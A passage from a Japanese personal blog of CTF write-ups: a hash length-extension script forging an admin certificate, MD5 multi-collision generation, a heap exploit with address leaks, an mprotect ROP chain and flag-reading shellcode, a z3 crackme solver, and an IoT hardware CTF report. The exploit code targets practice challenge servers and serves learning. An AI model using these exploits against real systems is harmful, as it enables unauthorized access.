	return ((~X & Z) | (~X & Z)) & 0xFFFFFFFF
	def G(X,Y,Z):
	return ((X & Z) | (~Z & Y)) & 0xFFFFFFFF
	def H(X,Y,Z):
	return (X ^ Y ^ Y) & 0xFFFFFFFF
	def I(X,Y,Z):
	return (Y ^ (~Z | X)) & 0xFFFFFFFF
	def ROL(X,Y):
	return (X << Y | X >> (32 - Y)) & 0xFFFFFFFF
	#
	# 接続
	#
	#sock = remote('127.0.0.1', 9999)
	sock = remote('katagaitai.orz.hm', 7777)
	#
	# 適当なユーザーのcertを取得する
	#
	username = "A" * 128
	baseinfo = "login=%s&role=anonymous" % username
	sock.recvuntil('[1] Login\n======================\n')
	sock.sendline('0') # [0] Register
	sock.recvuntil('Your login: ')
	sock.sendline(username) # 適当なユーザー名で登録
	sock.recvuntil('Your auth certificate:\n')
	# certからxorされた"login=%s&role=anonymous"を取得
	cert_original = sock.recvline()
	cert_original = b64decode(cert_original)
	cert = cert_original[0:-32]
	#
	# KEYを取得する
	#
	KEY = xor(cert, baseinfo)
	for i in range(1, len(KEY)):
	if KEY[0:i] == KEY[i:2*i]: # 繰り返しを検出
	KEY = KEY[0:i]
	break
	print("[INFO] KEY found : %s" % KEY.encode('hex'))
	#
	# hashme(SALT + "login=[username]&role=anonymous" + "&role=administrator")
	# を計算する
	#
	cert_original = xor(cert_original, KEY)
	hash_original = cert_original[-32:]
	X = [int(0xFFFFFFFF * sin(i)) & 0xFFFFFFFF for i in xrange(256)]
	s = "&role=administrator" # 追加する文字列
	# SALTの長さによってiが変わる
	for SALT_len in range(1, 32):
	print("[INFO] trying new length : %d" % SALT_len)
	# 元に戻す
	B = int(hash_original[0:8], 16)
	A = int(hash_original[8:16], 16)
	D = int(hash_original[16:24], 16)
	C = int(hash_original[24:32], 16)
	for i,ch in enumerate(s):
	i = SALT_len + len(baseinfo) + i # 追加文字なのでiを更新
	k, l = ord(ch), i & 0x1f
	A = (B + ROL(A + F(B,C,D) + X[k], l)) & 0xFFFFFFFF
	B = (C + ROL(B + G(C,D,A) + X[k], l)) & 0xFFFFFFFF
	C = (D + ROL(C + H(D,A,B) + X[k], l)) & 0xFFFFFFFF
	D = (A + ROL(D + I(A,B,C) + X[k], l)) & 0xFFFFFFFF
	# hash_newができた
	hash_new = ''.join(map(lambda x : hex(x)[2:].strip('L').rjust(8, '0'), [B, A, D, C]))
	print("[INFO] new hash generated : %s" % hash_new)
	# hash_newからcert_newを作る
	cert_new = baseinfo + s + hash_new
	cert_new = b64encode(xor(cert_new, KEY))
	print("[INFO] new cert generated : %s" % cert_new)
	# 試してみる
	sock.recvuntil('[1] Login\n======================\n')
	sock.sendline('1') # [1] Login
	sock.recvuntil('Provide your certificate:')
	sock.sendline(cert_new)
	sock.recvline()
	ret = sock.recvline()
	print("[INFO] received : %s" % ret)
	# 成功したか
	if "[+] Welcome," in ret:
	print(sock.recv(4096))
	break
	sock.interactive()

view raw solve_hashme.py hosted with ❤ by GitHub

今まで完全に闇の世界だったlength extension attackの原理が理解できたときは、かなり感動しました。

md5colliding

これ系も実は昔やったことがあり、そのときfastcollを使ったのも覚えていますが、2つまでしか同じハッシュを持つファイルが作れないなぁと思っていてそのままでした。今回の講義で少しステップアップした使い方ができるようになったかな。
さて、この問題は、指定された5つの文字列をそれぞれ出力するようなexeファイルを5つ作る、という問題です。ただし、5つのファイルは全てmd5が同じである必要があり、sha1が異なる必要があります。
fastcollというツールを使うと、
$ fastcoll A -o B C
でA+paddingという内容で、異なるpadding、同じmd5ハッシュ値を持つBとCが出力されます。ここから3つ以上同じハッシュを持つファイルの作り方が分からなかったのですが、
$ fastcoll B -o D E
としてCとD(もしくはE)との差分(追加分)をCに付けたせば良いようです。(なぜなら、hashmeで言ったように、サイズさえ一致すれば、それより前のバイナリは後のハッシュ値に影響しないからです。)
次にexeが異なる出力を持つ必要があるのですが、argv[0][0]などハッシュ値に影響しない部分を利用すれば良いようです。(もしファイル名が自動で割り当てられる場合はどんな方法がベストかな...？) とにかく今回はargv[0]で1から5までの出力を振り分けるのですが、Windows起動が面倒だったのでx86用のelfでやりました。
実行ファイル用のコードは次のようにしました。(linuxでは"./main"のように実行するのでargv[0][0]ではなくargv[0][2]を判定に使っています。) 実行ファイル用のCコードと、衝突生成用のpython2のコードを載せておきます。

	/* for x86 linux */
	#include <stdio.h>
	int main(int argc, char** argv)
	{
	char c = argv[0][2];
	if (c == '1') {
	puts("All Eindbazen are wearing wooden shoes");
	} else if (c == '2') {
	puts("All Eindbazen live in a windmill");
	} else if (c == '3') {
	puts("All Eindbazen grow their own tulips");
	} else if (c == '4') {
	puts("All Eindbazen smoke weed all day");
	} else if (c == '5') {
	puts("All Eindbazen are cheap bastards");
	}
	return 0;
	}

view raw elf_md5colliding.c hosted with ❤ by GitHub

	# coding: utf-8
	from os import system, execv
	# +-- step4.2 [*]
	# |
	# +-- step3.2 +-- step4.1 [*]
	# | |
	# +-- step2.2 +-- step3.1 <-----+ [*]
	# | |
	# +-- step1.2 +-- step2.1 <-----------------+ [*]
	# | |
	# main +-- step1.1 <-----------------------------+ [*]
	#
	N = 5 # 生成個数
	base = "main" # 最初のファイル名
	# 生成していく
	for i in range(1, N):
	system("./fastcoll {0} -o step{1}.1 step{1}.2".format(base, i))
	base = "step{0}.2".format(i)
	# 各stepとstepN.1との差分を埋める
	new = open("step{0}.1".format(N-1), "rb").read()
	for i in range(1, N - 1):
	old = open("step{0}.1".format(i), "rb").read()
	old += new[len(old):]
	open("step{0}.1".format(i), "wb").write(old)
	# gomiを消す
	for i in range(1, N - 1):
	system("rm ./step{0}.2".format(i))
	# 改名する
	for i in range(1, N):
	system("mv ./step{0}.1 ./{0}.bin".format(i))
	system("chmod +x ./{0}.bin".format(i))
	system("mv ./step{0}.2 ./{1}.bin".format(N-1, N))
	system("chmod +x ./{0}.bin".format(N))

view raw fastcollSolve_md5colliding.py hosted with ❤ by GitHub

同じmd5ハッシュ、異なるsha1ハッシュが出力され、出力内容も指定通りでした。コードは5個に限らず自由な個数だけ衝突ファイルを生成できるように工夫しています。

parlor

この問題はそもそも問題文を理解しておらず、時間内には解けませんでしたが、家でやったのでwriteupしておきます。
入力に対して条件を通過すれば賭け金だけ増え、失敗すれば賭け金が消えるゲームです。条件というのが
md5(hoge + input) % odds == 0
であることです。ちなみに問題文ではもうちょっと分りにくかったです。また、この「+」は文字列の結合で、hogeは16進数形式のダイジェストなのですが、バイナリとして結合されます。ここで数値加算してみたり文字列そのまま結合してみたりして時間取られました。さらに、inputには改行コードが最後に付いてくるっぽいのでそこにも注意。
この問題でユーザーが指定できるのはlog_2(odds)の整数とinputのバイナリです。hogeはランダムでサーバー側に保存されています。oddsの指数は100まで指定できるので、最大で2**100まで設定可能です。一回成功すればそれを繰り返せば良さそうなのですが、一度送ったinputは二度と送れません。

(1)md5(hoge + x)を知りたい
md5(hoge + x)が求まれば、md5(hoge + x + y)も求まります。しかし、md5(hoge + x)は最大でも下位100bitまでしか残りません。ということでbrute force attackで残りの28bitを探すことにしました。
...と書きながらコードを書いて実行したらあまりの重さにパソコンが止まったので今日はここまで。

午後 - Pwn

なんか凄いことやってるなぁって感じでした。
1つ1つのプロセスで何やってるのかは分かりましたし、資料にソースコードや構造体、サンドボックスの命令などが書かれていたので良かったものの、実際にソースコードも無い状態であれを解けと言われたら確実に捨てます。

tp

最後まで分からなかったこと（自分の書いた攻撃コードに関する疑問）：

• fastbinsに繋がったりbinsに繋がったり。その辺の設計もうろ覚えでした。 
• 0x1337という数が分かりませんでした。idなら10とか20とかでもいいはず？
• shellstormのshellcodeが動きませんでしたが、あれはseccompが原因だったのかな？
• どうやってあんなに長いアセンブリを読む気になれるのか。

でも、やっぱりヒープ苦手だなと実感しました。もっと勉強してきます。

(2)習得したこと：

• malloc, seccompなどの設計が少し分かりました。
• main_arena以外にthread_arenaなるものがあるとは......
• gdbでアタッチしたりダンプしたりするのが便利でした。
• DynamicROP(?)の復習になりました。

最終的にflag1は取得できたので良かったですが、flag2については手も足も出ない状態です。特にヒープのところの動作がいまいち分かってないので解説みたいなのは書けませんが、書いた攻撃コードを載せておきます。（Ubuntuで書いたので日本語で書けませんでした。）

	from pwn import *
	class tp:
	#
	# Constructor
	#
	def __init__(self, host, port):
	# Connect to server
	self.sock = remote(host, port)
	# List of commands
	self.cmd_new = 0
	self.cmd_read = 1
	self.cmd_write = 2
	self.cmd_free = 3
	self.cmd_delete = 4
	return
	#
	# Destructor
	#
	def __del__(self):
	self.sock.close()
	return
	#
	# Command 0 : new
	#
	def remote_new(self, size):
	self.sock.send( p32(self.cmd_new) )
	self.sock.send( p64(size & 0xFFffFFffFFffFFff) )
	ret = u32(self.sock.recv(4))
	print("[info] new({0}) --> {1}".format(size, ret))
	return ret
	#
	# Command 1 : read
	#
	def remote_read(self, note, data, noread=False):
	self.sock.send( p32(self.cmd_read) )
	self.sock.send( p32(note) )
	self.sock.send( p64(len(data)) )
	self.sock.send( data )
	if noread:
	ret = ""
	print("[info] read without recv!")
	else:
	ret = u32(self.sock.recv(4))
	print("[info] read({0}, {1}, [data]) --> {2}".format(note, len(data), ret))
	return ret
	#
	# Command 2 : write
	#
	def remote_write(self, note, size):
	self.sock.send( p32(self.cmd_write) )
	self.sock.send( p32(note) )
	self.sock.send( p64(size) )
	data = self.sock.recv(size)
	ret = u32(self.sock.recv(4))
	print("[info] write({0}, {1}, [data]) --> {2}".format(note, size, ret))
	return ret, data
	#
	# Command 3 : free
	#
	def remote_free(self, note):
	self.sock.send( p32(self.cmd_free) )
	self.sock.send( p32(note) )
	ret = u32(self.sock.recv(4))
	print("[info] free({0}) --> {1}".format(note, ret))
	return ret
	#
	# Command 4 : delete
	#
	def remote_delete(self, note):
	self.sock.send( p32(self.cmd_delete) )
	self.sock.send( p32(note) )
	ret = u32(self.sock.recv(4))
	print("[info] delete({0}) --> {1}".format(note, ret))
	return ret
	#
	# Main
	#
	if __name__ == '__main__':
	base_id = 0x13 # 0x1337?
	tp = tp('127.0.0.1', 9999)
	raw_input('Press enter after attaching to the server with GDB.')
	## Prepare for exploitation
	note1 = tp.remote_new(1)
	note2 = tp.remote_new(1)
	# use main_arena
	note3 = tp.remote_new(-1) # linked to fastbins, main_arena
	# use thread_arena
	note4 = tp.remote_new(-1) # linked to bins, thread_arena
	tp.remote_free(note2) # note2.used = 0
	note5 = tp.remote_new(0x28) # &note5 == &note4
	# write to &note4 --> overwrite note4.id
	tp.remote_read(note5, p64(base_id))
	# new map having same address as note4 (whose id is base_id)
	note6 = tp.remote_new(0x100) # linked to bins, thread_arena
	## Leak heap_base
	# write to &note4 --> overwrite note4.id and note4.buffer
	# then note4.buffer will have the same address as bins, thread_arena
	tp.remote_read(note5, p64(base_id) + "\x70\x08")
	# 0x00007fe6dc000870 -> 0x00007fe6dc000858
	# so ret-0x858 is the very address of the heap base
	heap_base = tp.remote_write(base_id, 8)[1]
	heap_base = u64(heap_base) - 0x858
	print("[info] heap base = 0x{0:x}".format(heap_base))
	## Leak libc_base
	# leak main_arena
	tp.remote_read(note5, p64(base_id) + "\x88\x08")
	main_arena = tp.remote_write(base_id, 8)[1]
	main_arena = u64(main_arena)
	print("[info] main_arena = 0x{0:x}".format(main_arena))
	# leak libc_base
	libc_base = main_arena - 0x3be760 # (because main_arena has solid address)
	print("[info] libc_base = 0x{0:x}".format(libc_base))
	## Leak ret
	# leak __environ (and read)
	tp.remote_read(note5, p64(base_id) + p64(libc_base + 0x3c14a0))
	environ = tp.remote_write(base_id, 8)[1]
	environ = u64(environ)
	print("[info] __environ = 0x{0:x}".format(environ))
	# leak ret
	ret = environ - 0x200
	print("[info] ret = 0x{0:x}".format(ret))
	## shallcode!? --> doesn't work!
	shellcode = "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff"
	shellcode += "/home/tp/flag1\x00"
	## shellcode!! --> does work!
	shellcode = "EB225F4831F64831D26A02580F05505766FFCA5E5F4831"
	shellcode += "C00F056A016A01505A5F580F05E8D9FFFFFF"
	shellcode = shellcode.decode("hex") + "/home/tp/flag1\0"
	## ROP gadget!
	# rp-lin-x64
	pop_rdx = 0x00001b8e
	pop_rsi = 0x00024885
	pop_rdi = 0x00022b9a
	## ROP payload!
	payload = ""
	# mprotect(rdi=addr, rsi=len, rdx=prot)
	payload += p64(libc_base + pop_rdi) # .addr
	payload += p64(heap_base + 0x1000)
	payload += p64(libc_base + pop_rsi) # .size
	payload += p64(len(shellcode) + 1)
	payload += p64(libc_base + pop_rdx) # .prot
	payload += p64(7)
	payload += p64(libc_base + 0xf48d0) # mprotect
	# read(rsi=addr, rdx=size, rdi=std?)
	payload += p64(libc_base + pop_rsi) # .addr
	payload += p64(heap_base + 0x1000)
	payload += p64(libc_base + pop_rdx) # .size
	payload += p64(len(shellcode))
	payload += p64(libc_base + pop_rdi) # .fd
	payload += p64(0)
	payload += p64(libc_base + 0xeb6a0) # read
	payload += p64(heap_base + 0x1000) # jump to shellcode
	tp.remote_read(note5, p64(base_id) + p64(ret) + p64(len(payload)))
	tp.remote_read(base_id, payload, noread=True)
	## Send shellcode!
	tp.sock.send(shellcode)
	## interactive mode
	tp.sock.interactive()

view raw tp_exploit.py hosted with ❤ by GitHub

最初にひっかかったのはremote_readで、payloadを書き込んですぐにsendしなければならないのですが、remote_read内にrecvがあったので、次のステップに進めないままrecvで止まっていました。次にひっかかったのはpayloadのROP gadgetで、「pop esi; ret」を使ってるつもりが「pop esi; rep ...」みたいなのを使ってました。目grepが足りない。最後にひっかかったのがshellcodeで、shellstormからコピーしたものは動きませんでした。たぶんseccompのせいかな？
個人的にtpはflag1だけを集中的に説明しても良かったんじゃないかなとも思います。(そうするとプロが困るのかも。)

さいごに

今回はCryptography, Pwnいずれも前回のmedに比べるとかなり成長した状態で挑戦できたと思っています。(前のmedは1つも解けなかった。)
いつもkatagaitaiCTFではたくさんの知識を習得させてもらっています。講師のみなさん、NRIさんなど、運営してくださっている方々、本当にありがとうございます。
今後も参加したいと思っているので、よろしくお願いします！

katagaitaiCTF#6 関西easyに参加しました

本日（08月13日）に大阪で開催されたkatagaitai CTF勉強会(easy)に参加してきました。

内容は午前はWeb, 午後はReversingでした。WebはHack.lu CTF 2014のHotCows Datingという問題で、ReversingはCSAW CTF 2013のcrackmeという問題をそれぞれ解きました。正直Webの方はBurpの設定が上手くいかずにあまり付いていけませんでした。一応フラグは取得できたもののイマイチ「なんで？」というところが多いので、今回はcrackmeの方を中心にWriteUpを書こうと思います。

crackmeは32bitのLinux用バイナリで、とりあえずWindowsを起動してIDA Pro Freeで解析を開始しました。bindやaccpetなどから単体でサーバーとして動作するプログラムだと分かったので、とりあえずポート番号だけメモして動作しました。crackmeへ接続すると、パスフレーズを聞かれます。パスワードが合っていないと終了してしまいます。あまりIDAを使ったことの無い私は文字列検索で文字列を送信(表示)している部分を見つけ、その周辺から解析を始めました。その結果、明らかに分岐している部分があったので、その上の関数にverifyという名前を付けて関数を見ます。ちょっと前に変数名とコメントを付ける機能を知ってからはじゃんじゃん使ってるので解説が始まる前には解析が終わってたと思います。verify関数(仮)をC言語にすると次のようになりました。

int verify(char* input)
{
  char chr = input[0];
  int hash = 0x539;
  char *pass = input;
  int tmp;
 
  for(; *pass != 0; pass++) {
    tmp = chr + (hash << 5);
    chr = *(pass + 1);
    hash += tmp;
  }
 
  return hash;
}

あらためて見るといかにC言語が苦手かが分かります......
さて、とりあえず自分で解こうと思って6桁くらいまでのブルートフォースを書きましたが一向に終わらないので別の方針を立てることにしました。
そこで、入力を「A」「AA」「AAA」「AAAA」...のように試すと、徐々にハッシュ値が増加していることが分かりました。(4バイトを超えたらまた小さくなる感じでした。)
入力が長く、ASCII値が大きいほどハッシュ値も大きくなるので、二分探索(手動)で0xEF2E3558に徐々に近づけていきました。(でも5分程度で下2桁以外は揃いました。)
6桁でハッシュ値が答えに近づき、最後の方は揃わなそうだったので、最後の1文字だけブルートフォースアタックしました。その結果「aSA6>6」で通りそうだったので送ったらフラグが表示されました。

勉強会が終わった今では頭の悪い解き方です。はい。

ということで、勉強会ではkleeとz3pyを使う方法をやったので、その内勉強会中ずっとやってたz3による解法についてもWriteUpします。z3pyは条件式に当てはまるような入力を見つけてくれるモジュールです。文字列を探す方法は分からなかったのでIntVectorでやってましたが実行できず。スライドを読むとBitVecなら上手くいくそうなので時間がかかりましたが書いてみました。

	# coding: utf-8
	from z3 import *
	s = Solver()
	LENGTH = 6
	# 6文字のテキスト
	text = [BitVec('text[{0}]'.format(i), 32) for i in range(LENGTH)]
	# 全て印字可能文字
	for i in range(LENGTH):
	s.add(32 <= text[i], text[i] <= 126)
	# ハッシュ
	ret = [BitVec('ret[{0}]'.format(i), 32) for i in range(LENGTH + 1)]
	ret[0] = 0x539 # 初期値
	for i in range(LENGTH):
	ret[i+1] = ret[i] + (ret[i] << 5) + text[i]
	# 結果が等しい
	s.add(ret[LENGTH] == 0xef2e3558)
	# 確認
	t = s.check()
	if t == sat:
	m = s.model()
	passcode = ""
	for i in range(LENGTH):
	passcode += chr(m[text[i]].as_long())
	print("RESULT : {0}".format(passcode))
	else:
	print(t)

view raw z3solve_crackme.py hosted with ❤ by GitHub

実行すると入力条件に当てはまるような文字列を見つけて表示してくれます。講師の方の書かれたコードでは40秒程度かかりましたが、このコードでは1秒前後で実行できました。私は講師の方のコードをリストにして初期化に入力、hashともにBitVecを使っただけなのですが、なぜここまで違いが出たのかは全く分かりません......

easyとはいえ、今回の勉強会を通して知らなかったことをたくさん学ぶことができたので、大変有意義な1日でした。主催者やNRI Secureの皆様、ありがとうございます！次のmedも参加する予定なのでよろしくお願いします。

SECCON 2016 九州大会のWrite Upと感想

本日2016年07月17日(日)に、福岡県の博多にある富士通株式会社 九州支部で、IoT CTFが開催されました。このCTFは過去に参加してきたCTFと違い、電子回路やハードウェア関連の問題が出題されます。今回は部活のチーム4人で、チームinsecureとして参加しました。最終的なスコアテーブルの上位3位は以下の通りです。(他チームはぼかし処理済み)

ということで、何とか優勝してSECCON本戦出場権を獲得することができました。今回はチームでかなり協力し、労力を分散させて挑戦することができたのが良かったと思います。また、CTFとしては、過去にやったことの無いタイプでしたが、今までほとんど触れたことのない分野だけあって、非常に勉強になりました。

今回のCTFの概要

大会直前までどんな形式か全く分からず、「ブレッドボード回路が渡されるんじゃないか」とか「配線の写真からデコーダを書くんじゃないか」とか事前にいろいろ考えてきました。会場に入ると、各チームのテーブルにRaspberry Pi 2、ブレッドボード、配線、各種IC、テスタ、ニッパーなどが用意されていました。
問題は大問で4問、小問を含めて5問ありました。全て100[pt]です。insecureは3問(300[pt])を正解し、最初の1問がFirst Bloodだったので追加で10[pt]を獲得しました。今回は、どんな問題が出題されたのかと、解いた問題についてのWrite Upを書きます。

問題1

水道局員の人数が足りないから自動で制御しよう、という問題。用意された部品を使って、1秒毎にモータがON,OFFを繰り返す回路を作る。優しいことに、回路図が用意されていたので、回路の方はそのまま実装しました。なお、使用した機器は「Raspberry Pi 2」「モータ」「ダイオード」「抵抗」「MOSトランジスタ」です。
Raspberry Pi 2の3番ピンから1秒ごとに出力と入力を切り換えるようなコードを書いて実行します。正しく動作していることと、その入力をオシロスコープで示した上で、担当の方を呼んで動作確認してもらいます。実行結果が正しいと判断されたら、フラグが貰えました。
ここのオシロスコープの波形がかなりひどい状態でしたが、運営の方の優しさでフラグが貰えました。ありがとうございました。この問題がFirst Bloodでした。

問題2.a

スパイとして活動しているとき、任務内容を8PINのICで渡されるという問題です。8PINのICは24LC256で、これはEEPROMです。EEPROMについては調べてきて、Pickit2のも持って来たのですが、なぜかリードが正しくできずに挫折。その後、同じチームのtheoldmoon0602が、持って来たArduino互換機で挑戦し、見事データの抽出に成功。データのヘッダが1F 8Bで、一目見てtar.gzだと分かったので、解凍するとフラグのテキストが出てきました。

問題2.b

上と同じです。ここで、上の問題ではEEPROMの最初の方しか取り出しておらず、それに気付くのにかなり時間が取られました。結局最後までデータを取ると、回路図のjpgとRaspberry Pi用のコードがあり、回路図を構成してコードを実行するとフラグが取得できます。プログラムで回路をエミュレートしたものの、終了数分前だったのでダメでした。

問題3

1分ごとにエアコンのリモコンが使えなくなる原因を探ってほしい、という問題。会場の前後に回路が置いてあり、そこから赤外線が発生していました。(それはデバッグ用で、実際には運営に頼んで赤外線を定期的に発生させるボードを借りてくる。)この問題では、Raspberry Piのmode2コマンドを使って赤外線の波形データを取得しました。さらに、エアコンのリモコンの赤外線の仕様書を調べ、それに従って不要な部分をカットしました。しかし、このプロトコルは製造会社によって結構違い、どれを使えばいいか迷ってる間に時間切れでした。今思えば「SECCON{~~}」の「ECC」のところは取得できていたので、もう少し頑張れば解けたかもしれません。個人的には赤外線モジュールについて勉強できたので、非常に楽しい問題でした。

問題4

テロリストのUSB機器がどんな動作をするか確認する、という問題。この問題については私は全く触っておらず、チームメンバーが解いてくれたので詳細は知りません。チームメンバーの解き方としては、用意されたAVRマイコンに配布されたhexデータを書き込み、さらにUSBに変換する謎の機器とを接続し、それをパソコンに繋いだとのこと。すると、一定周期でキーボードが勝手に入力され、フラグが書かれたそうです。この問題は全チームが解いていました。すごい。
個人的に自分で作ってみたいので今後教えてもらおうかな。

感想

とにかく色んなことが勉強できて素晴らしかったです。企画してくださった運営の皆様、会場やパーツ等を提供してくださった協賛社の方々、本当にありがとうございます。それから今回出場されたチームの方々もお疲れ様でした。
細かい部品は持って帰っても構わないということで赤外線モジュールとEEPROM等をいただきました。家で勉強させていただきます。m(_ _)m